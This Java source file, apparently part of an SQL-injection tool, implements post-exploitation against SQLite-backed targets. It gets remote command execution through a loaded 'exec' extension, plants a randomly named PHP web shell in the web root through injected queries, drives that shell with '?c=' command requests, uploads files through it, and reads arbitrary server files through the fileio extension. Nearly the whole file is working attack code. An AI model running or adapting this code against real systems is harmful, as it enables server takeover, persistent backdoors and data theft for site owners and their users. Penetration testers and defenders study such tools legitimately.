1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.engine.sqlite.ModelYamlSqlite;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.model.suspendable.Input;
9 import com.jsql.view.subscriber.Seal;
10 import com.jsql.model.exception.AbstractSlidingException;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.suspendable.SuspendableGetRows;
14 import com.jsql.util.LogLevelUtil;
15 import com.jsql.util.StringUtil;
16 import org.apache.commons.lang3.RandomStringUtils;
17 import org.apache.commons.lang3.StringUtils;
18 import org.apache.logging.log4j.LogManager;
19 import org.apache.logging.log4j.Logger;
20 import org.yaml.snakeyaml.Yaml;
21
22 import java.io.File;
23 import java.io.FileInputStream;
24 import java.io.IOException;
25 import java.io.InputStream;
26 import java.net.http.HttpResponse;
27 import java.util.UUID;
28 import java.util.function.BinaryOperator;
29
30 public class ExploitSqlite {
31
32 private static final Logger LOGGER = LogManager.getRootLogger();
33 private final InjectionModel injectionModel;
34 private final ModelYamlSqlite modelYaml;
35
36 public ExploitSqlite(InjectionModel injectionModel) {
37 this.injectionModel = injectionModel;
38 var yaml = new Yaml();
39 this.modelYaml = yaml.loadAs(
40 injectionModel.getMediatorEngine().getSqlite().instance().getModelYaml().getResource().getExploit(),
41 ModelYamlSqlite.class
42 );
43 }
44
45 public void createUdf() {
46 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
47 var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
48 this.modelYaml.getExtension().getExec(),
49 ResourceAccess.WEB_CONFIRM_CMD +"%20"
50 ), ResourceAccess.TBL_READ);
51 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
52 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
53 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
54 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitSqlite().runRce(command, terminalID)
55 ));
56 }
57 }
58
59 public String runRce(String command, UUID uuidShell) {
60 String result;
61 try {
62 result = this.injectionModel.getResourceAccess().getResult(String.format(
63 this.modelYaml.getExtension().getExec(),
64 command.replace(StringUtils.SPACE, "%20")
65 ), ResourceAccess.RUN_FUNC);
66 } catch (JSqlException e) {
67 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
68 }
69 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
70 uuidShell,
71 result.trim() +"\n"
72 ));
73 return result;
74 }
75
76 public String createWeb(String pathExploit, String urlExploit) {
77 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
78
79 String bodyExploit = StringUtil.base64Decode(
80 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.web")
81 )
82 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
83 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
84 var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
85 var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
86 var nameExploit = nameDbRandom + nameTableRandom +".php";
87 this.injectionModel.injectWithoutIndex(String.format(
88 this.modelYaml.getWriteFile(),
89 pathExploit + nameExploit, nameDbRandom,
90 nameDbRandom, nameTableRandom,
91 nameDbRandom, nameTableRandom, bodyExploit
92 ), ResourceAccess.TBL_DUMP);
93
94 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
95 String result = this.injectionModel.getResourceAccess().callCommand(
96 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
97 );
98 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
100 return StringUtils.EMPTY;
101 }
102 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
103 return urlSuccess;
104 };
105
106 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
107 }
108
109 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
110 String bodyExploit = StringUtil.base64Decode(
111 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
112 )
113 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
114 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
115 var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
116 var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
117 var nameExploit = nameDbRandom + nameTableRandom +".php";
118 this.injectionModel.injectWithoutIndex(String.format(
119 this.modelYaml.getWriteFile(),
120 pathExploit + nameExploit, nameDbRandom,
121 nameDbRandom, nameTableRandom,
122 nameDbRandom, nameTableRandom, bodyExploit
123 ), ResourceAccess.TBL_DUMP);
124
125 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
126 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
127 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
128 if (result.body().contains(DataAccess.LEAD +"y")) {
129 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
130 } else {
131 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
132 }
133 } catch (InterruptedException e) {
134 LOGGER.log(LogLevelUtil.IGNORE, e, e);
135 Thread.currentThread().interrupt();
136 } catch (IOException | JSqlException e) {
137 throw new JSqlRuntimeException(e);
138 }
139 return urlSuccess;
140 };
141
142 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
143 }
144
145 public String getRead(String pathFile) throws AbstractSlidingException {
146 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement: extension fileio loaded");
147 return new SuspendableGetRows(this.injectionModel).run(new Input(
148 String.format(
149 this.injectionModel.getResourceAccess().getExploitSqlite().getModelYaml().getExtension().getFileioRead(),
150 pathFile
151 ),
152 new String[]{ StringUtils.EMPTY },
153 false,
154 1,
155 MockElement.MOCK,
156 ResourceAccess.FILE_READ
157 ));
158 }
159
160 public ModelYamlSqlite getModelYaml() {
161 return this.modelYaml;
162 }
163 }